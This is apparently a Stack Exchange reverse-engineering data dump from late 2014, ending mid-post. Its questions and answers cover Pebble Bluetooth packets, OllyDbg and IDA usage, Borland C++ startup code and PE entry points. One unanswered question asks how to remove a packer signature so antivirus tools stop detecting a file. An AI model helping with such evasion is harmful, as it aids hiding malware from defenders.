  <row Id="6885" PostTypeId="1" CreationDate="2014-12-25T17:34:53.100" Score="3" ViewCount="257" Body="&lt;p&gt;I am trying to determine the bluetooth string that is sent when programmatically unloading an app from the Pebble watch. I have unloaded an app (in slot 2) 5 times, and got 5 similar but slightly different strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;First Payload:  0b ef 2b 00 11 17 70 02 24 b0 a1 e5 f0 b1 44 0d 8e 53 8f 26 68 8a 3f 07 9a&#xA;Second Payload: 0b ff 2b 01 00 11 17 70 02 24 b0 a1 e5 f0 b1 44 0d 8e 53 8f 26 68 8a 3f 07 86&#xA;Third Payload:  0b ff 2b 02 00 11 17 70 02 24 b0 a1 e5 f0 b1 44 0d 8e 53 8f 26 68 8a 3f 07 86&#xA;Fourth Payload: 0b ff 2b 02 00 11 17 70 02 24 b0 a1 e5 f0 b1 44 0d 8e 53 8f 26 68 8a 3f 07 86&#xA;Fifth Payload:  0b ff 2b 02 00 11 17 70 02 24 b0 a1 e5 f0 b1 44 0d 8e 53 8f 26 68 8a 3f 07 86&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Interestingly, the last 3 payloads were identical, but the first 2 differ from this. The first string much more different (perhaps anomalous, I'm not sure), but the others only have differences in the 4th octet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would the best way to proceed with analysing this type of data? I've never done any reverse engineering like this before, but unfortunately Pebble does not provide an API for programmatically unloading apps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would appear that the first 3 octets specify the action to be taken (in this case unloading an app), but 3 octets would be a strange size for an instruction (not a power of 2), and so I'm suspicious that this is not correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My use case for this is I wish to devise a polymorphic app which maximises use of the memory capacity of the pebble (in this case I can fill the 100K slot completely).&lt;/p&gt;&#xA;" OwnerUserId="10339" LastEditorUserId="53" LastEditDate="2015-02-25T15:46:19.153" LastActivityDate="2015-02-25T15:46:19.153" Title="Interpreting bluetooth string Pebble watch" Tags="|embedded|sniffing|packet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6886" PostTypeId="2" ParentId="6884" CreationDate="2014-12-25T23:15:53.807" Score="2" Body="&lt;p&gt;In the breakpoint settings for the given breakpoint, press the &lt;kbd&gt;...&lt;/kbd&gt; button, select Python as the scripting langauge, and use the following script body:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GetString(DbgDword(esp + 0x4), -1, ASCSTR_C).upper()  == &quot;D:\\3K-MILLENNIUM\\3K-MILLENNIUM\\USER_LAW.TXT&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2XJsx.gif&quot; alt=&quot;Conditional breakpoint&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-12-25T23:15:53.807" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6889" PostTypeId="1" CreationDate="2014-12-26T19:39:57.450" Score="1" ViewCount="1441" Body="&lt;p&gt;for a manuelly unpacking process, I need the option &quot;Remove analysis from module.&quot;&#xA;It can be reached by right-click -&gt; Analysis -&gt; Remove analysis from module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can not find it in my ollydbg program (I have the version ollydbg v1.10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question:&#xA;Do I need a plugin for that? Or can I find that option in a higher version of ollydbg ?&lt;img src=&quot;https://i.stack.imgur.com/3raol.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="4645" LastEditDate="2014-12-26T20:18:50.920" LastActivityDate="2016-03-08T14:19:28.250" Title="Ollydbg - Remove analysis from module" Tags="|ollydbg|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6890" PostTypeId="2" ParentId="6889" CreationDate="2014-12-26T20:00:09.067" Score="1" Body="&lt;p&gt;It's definitely in the standard OllyDbg v1.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before&lt;/strong&gt; right-clicking in the disassembly pane of the CPU window, be sure to left-click in the disassembly pane &lt;strong&gt;first&lt;/strong&gt; so that OllyDbg sets the disassembly pane as the active pane. Once the disassembly pane is active (black disassembly text instead of gray disassembly text), you can then right click and find &lt;kbd&gt;Remove analysis from module&lt;/kbd&gt; in the context menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sa6oX.png&quot; alt=&quot;OllyDbg v1.10 screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-12-26T20:00:09.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6891" PostTypeId="2" ParentId="6885" CreationDate="2014-12-27T02:49:01.867" Score="1" Body="&lt;p&gt;Because you have 3 of 5 messages absolutely identical, and because the other two differ very little, it seems probable that the first two messages were simply captured incorrectly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to try to detect that would be to do the same thing several more times to see if that pattern holds.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More generally, reverse engineering a protocol like this often starts by gathering as much data as you can.  This includes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;US Federal Communications Commission (FCC) database type approval database entries often describe details of RF emissions&lt;/li&gt;&#xA;&lt;li&gt;patent information frequently reveals details of proprietary message formats&lt;/li&gt;&#xA;&lt;li&gt;applicable technical standards, such as Bluetooth in this case&lt;/li&gt;&#xA;&lt;li&gt;product information available on the web&lt;/li&gt;&#xA;&lt;li&gt;technical information that comes with the product&lt;/li&gt;&#xA;&lt;li&gt;reverse engineering software that comes with the product&lt;/li&gt;&#xA;&lt;li&gt;searching the internet to see if someone has already done the work for you&lt;/li&gt;&#xA;&lt;li&gt;careful notes and associated capture files that you create&lt;/li&gt;&#xA;&lt;li&gt;financial/news information available about the producing company. Sometimes there are public announcements of acquisitions of product lines or announcements of deals with third party developers which can help you discover other lines of inquiry.&lt;/li&gt;&#xA;&lt;li&gt;sample code from chip vendors. For some consumer products, the device more or less a customization of code provided as sample or reference design information from a chip vendor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All of these can and often do lead to useful information.  In addition, studying other similar protocols may give you insight into the types of data that is likely to be in these packets and sometimes particular details of individual fields such as details of a CRC or checksum calculation.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2014-12-27T02:49:01.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6893" PostTypeId="2" ParentId="6872" CreationDate="2014-12-27T03:14:05.930" Score="0" Body="&lt;p&gt;Breakpoint at the beginning of the function and check the stack for the return address. Or hook your function in c++ for instance and log the _ReturnAddress ()&lt;/p&gt;&#xA;" OwnerUserId="10347" LastActivityDate="2014-12-27T03:14:05.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6894" PostTypeId="1" AcceptedAnswerId="6895" CreationDate="2014-12-27T06:18:31.037" Score="2" ViewCount="1709" Body="&lt;p&gt;I want to test some approach in symbolic execution in windows binaries and doesn't want to write a new one from scratch and also this tool must be reliable at research levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found S2E and BitBlaze earlier but not any documentation for testing windows binaries.&lt;/p&gt;&#xA;" OwnerUserId="10348" LastEditorUserId="10348" LastEditDate="2014-12-27T06:32:48.970" LastActivityDate="2014-12-27T07:55:08.303" Title="What are the open source symbolic execution tools for windows binaries" Tags="|windows|binary-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6895" PostTypeId="2" ParentId="6894" CreationDate="2014-12-27T07:49:51.607" Score="2" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/jjyg/metasm/&quot; rel=&quot;nofollow&quot;&gt;Metasm&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;a href=&quot;https://github.com/cea-sec/miasm&quot; rel=&quot;nofollow&quot;&gt;Miasm&lt;/a&gt;&lt;/strong&gt; can perform symbolic execution on Windows binaries. &lt;em&gt;Metasm&lt;/em&gt; is written in pure ruby with no dependencies. &lt;em&gt;Miasm&lt;/em&gt; is written in python. You can find some usages of the above frameworks in the book &lt;em&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1502489309&quot; rel=&quot;nofollow&quot;&gt;Practical Reverse Engineering&lt;/a&gt;&lt;/em&gt;. Besides you can always Google for more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.quarkslab.com/deobfuscation-recovering-an-ollvm-protected-program.html&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is an hands-on example of using miasm for symbolic execution.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2014-12-27T07:55:08.303" LastActivityDate="2014-12-27T07:55:08.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6896" PostTypeId="1" AcceptedAnswerId="6897" CreationDate="2014-12-27T17:34:32.400" Score="1" ViewCount="1198" Body="&lt;p&gt;Can someone recommend any tutoial or books on how to analyze unknown network protocol. Basically given the dumps of network traffic, I need some guide/examples on reversing the protocol.&lt;/p&gt;&#xA;" OwnerUserId="4758" LastActivityDate="2014-12-27T18:41:33.377" Title="Books/tutorial on reversing protocol" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6897" PostTypeId="2" ParentId="6896" CreationDate="2014-12-27T18:41:33.377" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://fumalwareanalysis.blogspot.de/2011/08/malware-analysis-tutorial-reverse.html&quot; rel=&quot;nofollow&quot;&gt;Malware Analysis Tutorial 1&lt;/a&gt; on Dr Fu's Security Blog involves running a piece of malware inside a Windows VM and capturing its network traffic using wireshark in a Linux VM set up for the purpose. Among other things. That should cover the 'acquisition' part of your project nicely in case plain wireshark on its own should not be enough...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As regards &lt;a href=&quot;https://www.wireshark.org/&quot; rel=&quot;nofollow&quot;&gt;Ethereal/Wireshark&lt;/a&gt; as such, there's a &lt;a href=&quot;http://en.wikiversity.org/wiki/Wireshark&quot; rel=&quot;nofollow&quot;&gt;series of tuts on Wikiversity&lt;/a&gt; and Google turns up a gazillion more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As regards the analysis portion I found these quite interesting:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://digital-forensics.sans.org/blog/2012/07/03/an-overview-of-protocol-reverse-engineering&quot; rel=&quot;nofollow&quot;&gt;An Overview Of Protocol Reverse-Engineering&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.netzob.org/&quot; rel=&quot;nofollow&quot;&gt;Reverse Engineering Communication Protocols (netzob)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.di.fc.ul.pt/~nuno/PAPERS/WCRE11.pdf&quot; rel=&quot;nofollow&quot;&gt;Reverse Engineering of Protocols from Network Traces&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2014-12-27T18:41:33.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6898" PostTypeId="1" CreationDate="2014-12-27T18:42:43.757" Score="2" ViewCount="229" Body="&lt;p&gt;In an binary of my choice I see ofter stuff like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_593690      proc near               ; DATA XREF: .rdata:01456994o&#xA;                sub     ecx, [ecx-4]&#xA;                sub     ecx, 48h&#xA;                jmp     loc_4AE180  ; to usual looking method&#xA;sub_593690      endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what does it mean and why a compiler generates such things?&lt;/p&gt;&#xA;" OwnerUserId="2534" LastEditorUserId="2534" LastEditDate="2014-12-27T19:28:50.947" LastActivityDate="2014-12-27T19:28:50.947" Title="What meaning does that detour have?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6899" PostTypeId="2" ParentId="6898" CreationDate="2014-12-27T18:58:10.683" Score="5" Body="&lt;p&gt;This looks a lot like a so-called 'this-adjustment stub'. These are needed in connection with multiple inheritance, to turn a pointer to one of the bases with non-zero offset into a this pointer of a more derived class. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: tail-call optimisation can look very similar but in 32-bit mode it is nowhere near as ubiquitous as in 64-bit mode. In any case it would be possible to write a function call that looks exactly like your code once the compiler is done optimising, so the decision between this-adjustment and tail call optimisation is not cut and dried. Exception handling can also result in small funclets that look very similar, especially if there is only one object to be destroyed/unwound. Depending on circumstances, all of the things I mentioned can result in exactly the same object code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best overview is probably igorsk's article on VC++ class layout:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.openrce.org/articles/full_view/21&quot;&gt;Reversing Microsoft Visual C++ Part I: Exception Handling&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.openrce.org/articles/full_view/23&quot;&gt;Reversing Microsoft Visual C++ Part II: Classes, Methods and RTTI&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2014-12-27T19:10:48.407" LastActivityDate="2014-12-27T19:10:48.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6900" PostTypeId="1" AcceptedAnswerId="6902" CreationDate="2014-12-28T00:38:44.957" Score="1" ViewCount="1609" Body="&lt;p&gt;I'm trying to reverse engineer an ages-old game compiled with Borland C++ in 1995. So far, I have found out that start @0x401000 passes to __startup in cw3220.dll (which apparently is Borland's C++ runtime dll) the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;pointer to the begin of a list of global static constructors (&lt;code&gt;{ char flag0; char flag1; void* fun}&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;pointer to end of said list&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;pointer to begin of a list of destructors (as above)&lt;/li&gt;&#xA;&lt;li&gt;pointer to end of dtor list&lt;/li&gt;&#xA;&lt;li&gt;int flag - GUI app or not (should __startup call &lt;code&gt;main(argc,argv,env)&lt;/code&gt; or &lt;code&gt;WinMain(hInstance,hPrevInstance,lpCmdLine,nShowCmd)&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;unknown int flag1&lt;/li&gt;&#xA;&lt;li&gt;pointer to entry function&lt;/li&gt;&#xA;&lt;li&gt;pointer to a function which IDA has automagically named &lt;code&gt;matherr&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;pointer to a function &lt;code&gt;matherrl&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;unknown int flag2&lt;/li&gt;&#xA;&lt;li&gt;unknown int flag3&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there any documentation available which tells the meaning of flag1/2/3 in the info struct, flag0/1 in the ctor list entries and how Borland C++ handles exceptions - functions using classes always call &lt;code&gt;__InitExceptBlock&lt;/code&gt;, but I never see checks for exceptions after function calls, how is try/catch handled?&lt;/p&gt;&#xA;" OwnerUserId="10354" LastActivityDate="2014-12-28T11:37:17.747" Title="Borland C++ runtime startup" Tags="|windows|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6901" PostTypeId="1" AcceptedAnswerId="6903" CreationDate="2014-12-28T10:38:58.000" Score="0" ViewCount="1298" Body="&lt;p&gt;I'm reversing an x86 executable with IDA pro. Here is the beginning of the function causing problems to IDA stack pointer analysis. I'm showing the stack pointer value in the second column:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:002C35B0 000                 push    ebp&#xA;.text:002C35B1 004                 mov     ebp, esp&#xA;.text:002C35B3 004                 and     esp, 0FFFFFFF8h&#xA;.text:002C35B6 004                 push    0FFFFFFFFh&#xA;.text:002C35B8 008                 push    offset sub_75B75D&#xA;.text:002C35BD 00C                 mov     eax, large fs:0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the third line, the &lt;code&gt;and&lt;/code&gt; is not changing the &lt;code&gt;esp&lt;/code&gt; value for IDA and I suppose this is the reason for having unknown &lt;code&gt;esp&lt;/code&gt; offsets throughout the function. I have the following questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;what is the purpose of this operation? Why not a normal &lt;code&gt;sub&lt;/code&gt; or &lt;code&gt;add&lt;/code&gt; here?&lt;/li&gt;&#xA;&lt;li&gt;what is the value of the stack pointer after that?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8454" LastActivityDate="2014-12-28T11:27:06.640" Title="IDA stack pointer analysis fails due to &quot;and&quot; operation to esp" Tags="|ida|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6902" PostTypeId="2" ParentId="6900" CreationDate="2014-12-28T10:41:25.380" Score="3" Body="&lt;p&gt;&lt;code&gt;cw3220.dll&lt;/code&gt; indicates that you're looking at BC++ 5.0. AFAICS the only official documentation regarding the startup code is &lt;a href=&quot;http://pastebin.com/ParJ3683&quot; rel=&quot;nofollow&quot;&gt;BC5/source/RTL/source/startup/Win32/c0nt.asm&lt;/a&gt;, plus &lt;code&gt;_startup.h&lt;/code&gt; and &lt;code&gt;startup.c&lt;/code&gt; (also somewhere under &lt;code&gt;source/RTL&lt;/code&gt;). The struct is defined in &lt;code&gt;_startup.h&lt;/code&gt;:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct module_data&#xA;{&#xA;    INIT *init_start;           /* start of a module's _INIT_ segment */&#xA;    INIT *init_end;             /* end of a module's _INIT_ segment */&#xA;    INIT *exit_start;           /* start of a module's _EXIT_ segment */&#xA;    INIT *exit_end;             /* end of a module's _EXIT_ segment */&#xA;    int  flags;                 /* flags (see below) */&#xA;    int  hmod;                  /* module handle */&#xA;    int  (*main)();             /* main/WinMain/_dllmain function */&#xA;    int  (*matherr)(void *);    /* (EXE only) _matherr function */&#xA;    int  (*matherrl)(void *);   /* (EXE only) _matherrl function */&#xA;    long stackbase;             /* (EXE only) base of stack */&#xA;    int  *fmode;                /* (EXE only) address of _fmode variable */&#xA;} MODULE_DATA;&#xA;&#xA;/* MODULE_DATA flags.&#xA; */&#xA;#define MF_WINDOWS  1           /* this is a Windows application */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you install from PAKs then it can happen that the RTL sources don't get installed even if you select everything, but the RTL source is present in the BC5 directory on the installation CD (at least in my copy). That documents at least the calling side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of BC++ 4 internals were documented in the &lt;a href=&quot;https://github.com/mildred/Lysaac/blob/master/doc/boa.cp437.txt&quot; rel=&quot;nofollow&quot;&gt;Borland Open Architecture Handbook&lt;/a&gt; that had to be ordered separately at nominal cost (one floppy). I can't locate the stuff ATM but I've seen copies floating around on the 'net, under the name of &lt;code&gt;bc4boa.zip&lt;/code&gt;...&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2014-12-28T11:37:17.747" LastActivityDate="2014-12-28T11:37:17.747" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6903" PostTypeId="2" ParentId="6901" CreationDate="2014-12-28T11:11:54.473" Score="1" Body="&lt;p&gt;&lt;code&gt;and esp, not 7&lt;/code&gt; aligns the stack pointer (down) to a multiple of eight, by computing the moral equivalent of &lt;code&gt;esp -= esp % 8;&lt;/code&gt; (which would require more instructions). You can manually change the simulated stack pointer by hitting Alt+K on the instruction and entering -4. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SP-related things in IDA tend to be a bit confusing because you never really know whether you are working in the realm of IDA's virtual inverted stack (as evidenced by the positive stack pointer offsets shown in the disassembly) or not... So you have to experiment, see what IDA does when you enter certain values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, most things regarding simulation, constant/parameter propagation (&lt;code&gt;this&lt;/code&gt; pointers!) and so on seem to have been reserved for the decompiler product, which might explain why IDA itself has seen little progress in that regard over the last decade. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be that as it may, the small difference of -4 is probably not the reason you're seeing bad stack offsets. IDA sometimes gets confused when there are function chunks involved, or multiple code paths involving alloca() and so on (especially if the function epilogue is not located in the main chunk). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're still having problems you could put a bigger snippet on pastebin and post a link here. Also, if you have an active support plan then you could contact Hex-Rays; when I had a problem with stack pointers in a big IDB imported from an older version of IDA I sent in the IDB and they fixed it for me...&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2014-12-28T11:27:06.640" LastActivityDate="2014-12-28T11:27:06.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6904" PostTypeId="2" ParentId="6889" CreationDate="2014-12-28T11:41:12.153" Score="0" Body="&lt;p&gt;This might also be a reason of a wrong value used in &lt;strong&gt;BaseOfCode&lt;/strong&gt; member of &lt;strong&gt;OptionalHeader&lt;/strong&gt;. For example if the value is larger than the code section size OllyDbg won't show the &lt;strong&gt;Analyze Code&lt;/strong&gt; option. Like what Jason Geffner said if the option &lt;strong&gt;Remove analysis from module&lt;/strong&gt; is missing then the Analyze wasn't made. You can also try to use &lt;strong&gt;AnalyzeThis!&lt;/strong&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="8610" LastEditorUserId="8610" LastEditDate="2014-12-28T14:19:23.740" LastActivityDate="2014-12-28T14:19:23.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6905" PostTypeId="1" AcceptedAnswerId="6912" CreationDate="2014-12-28T12:05:02.173" Score="4" ViewCount="3952" Body="&lt;p&gt;Microsoft documentation gives &lt;a href=&quot;https://learn.microsoft.com/en-gb/windows/win32/api/winbase/nf-winbase-winmain&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinMain()&lt;/a&gt; as the entry point for a Windows program, but unlike &lt;a href=&quot;https://learn.microsoft.com/en-gb/windows/win32/dlls/dllmain&quot; rel=&quot;nofollow noreferrer&quot;&gt;DllMain()&lt;/a&gt; it seems to be a pure fiction arranged by the compiler-provided startup code.&lt;/p&gt;&#xA;&lt;p&gt;I've looked at the output of a few Win32 compilers (32-bit and 64-bit) and in all cases the information passed to &lt;code&gt;WinMain()&lt;/code&gt; was synthesised by the startup code and not based on any parameters passed to the entry point by the Windows loader. Also, all the samples I analysed - and all the examples I remember seeing on the 'net - used &lt;code&gt;ExitProcess()&lt;/code&gt; even though a simple return from the entry point seems to have exactly the same effect.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know of any documentation - official or otherwise - regarding the game rules for PE32(+) entry points?&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="14622" LastEditDate="2022-11-29T07:16:22.260" LastActivityDate="2022-11-29T07:16:58.110" Title="Real PE32(+) entry point - is it documented anywhere?" Tags="|windows|pe|entry-point|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6906" PostTypeId="2" ParentId="6905" CreationDate="2014-12-28T14:55:00.437" Score="0" Body="&lt;p&gt;What do you mean by real PE entry point?&lt;/p&gt;&#xA;&lt;p&gt;I think you are confused with WinMain and AddressOfEntryPoint.&lt;/p&gt;&#xA;&lt;p&gt;WinMain is not the AddressOfEntryPoint they are different things.&lt;/p&gt;&#xA;&lt;p&gt;AddressOfEntryPoint&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Address of entry point, relative to image base, when executable file&#xA;is loaded into memory. For program images, this is the starting&#xA;address. For device drivers, this is the address of the initialization&#xA;function. An entry point is optional for DLLs. When none is present&#xA;this field should be 0.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;AddressOfEntryPoint has no parameters it is simply the starting address of the executable. (except on Windows Vista+ maybe, I have seen that the PEB address is passed as a parameter by kernel32.BaseThreadInitThunk)&lt;/p&gt;&#xA;&lt;p&gt;You are right. A simple RET from entry point would be enough to exit the process. But I guess that way you have to keep the stack balanced.&lt;/p&gt;&#xA;&lt;p&gt;Have a look at Microsoft Portable Executable and Common Object File Format&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20141013183154/http://download.microsoft.com/download/e/b/a/eba1050f-a31d-436b-9281-92cdfeae4b45/pecoff.doc&quot; rel=&quot;nofollow noreferrer&quot;&gt;PE File Format&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8610" LastEditorUserId="42417" LastEditDate="2022-11-29T07:16:58.110" LastActivityDate="2022-11-29T07:16:58.110" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="6907" PostTypeId="1" AcceptedAnswerId="6919" CreationDate="2014-12-28T15:17:26.890" Score="4" ViewCount="2534" Body="&lt;p&gt;In the program I'm trying to reverse engineer, originally IDA only created three segments: &lt;code&gt;CODE&lt;/code&gt;, &lt;code&gt;DATA&lt;/code&gt; and &lt;code&gt;.idata&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the information from the compiler source code (&lt;a href=&quot;http://pastebin.com/ParJ3683&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/ParJ3683&lt;/a&gt; lines 30-78), I determined that infact DATA was concatenated out of (at least) four segments, &lt;code&gt;DATA&lt;/code&gt;,&lt;code&gt;INITDATA&lt;/code&gt;,&lt;code&gt;EXITDATA&lt;/code&gt; and &lt;code&gt;BSS&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I created three new segments with the specified alignments (word/dword) and the appropriate boundaries; while all data appeared in the correct segment bounds, all references to what had been in the DATA segment and is now in BSS are now totally messed up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CODE:00401A8A                 push    ds:globalErrorMessagesCaption[eax*4] ; lpCaption&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;turned into &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CODE:00401A8A                 push    dword ptr ds:(algn_481049+187h)[eax*4] ; lpCaption&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The section header is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_BSS:00481106 ; Segment type: Pure data&#xA;_BSS:00481106 _BSS            segment dword public 'DATA' use32&#xA;_BSS:00481106                 assume cs:_BSS&#xA;_BSS:00481106                 ;org 481106h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What has gone wrong here and how can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="10354" LastActivityDate="2015-01-09T15:16:32.733" Title="IDA segmentation problem" Tags="|ida|segmentation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6909" PostTypeId="1" CreationDate="2014-12-28T16:50:53.490" Score="1" ViewCount="269" Body="&lt;p&gt;I've tried &lt;a href=&quot;http://mordor.in/&quot; rel=&quot;nofollow&quot;&gt;SimplePack&lt;/a&gt;, which is an open-source file packer for windows,&#xA;now, for some reasons, when I check via online virus-checkers, lots of alerts are being popped saying the file is crypted using SimplePack, though the file is innocent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize this is somehow related to a header SimplePack adds or to its algorithm, but I'm not quite sure what to do to fight that, because I'd like to use this for myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions are always welcome!&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="10356" LastActivityDate="2014-12-28T16:50:53.490" Title="How to remove SimplePack signature so it won't be detected by AVs" Tags="|encryption|packers|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6910" PostTypeId="1" CreationDate="2014-12-28T17:33:13.787" Score="4" ViewCount="3476" Body="&lt;p&gt;I have an application that pulls some JSON definition files from the internet. In former versions of the application, these files were genuine json files; now, in a later version, they seem to be encrypted/obfuscated. The files that get downloaded now seem to be base64-encoded; decoding them leads to binary files that have the String &lt;code&gt;Salted12&lt;/code&gt; plus 8 more ascii characters in front of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Salted12OBWfTKpl&amp;lt;B4&amp;gt;{J&amp;lt;E0&amp;gt; 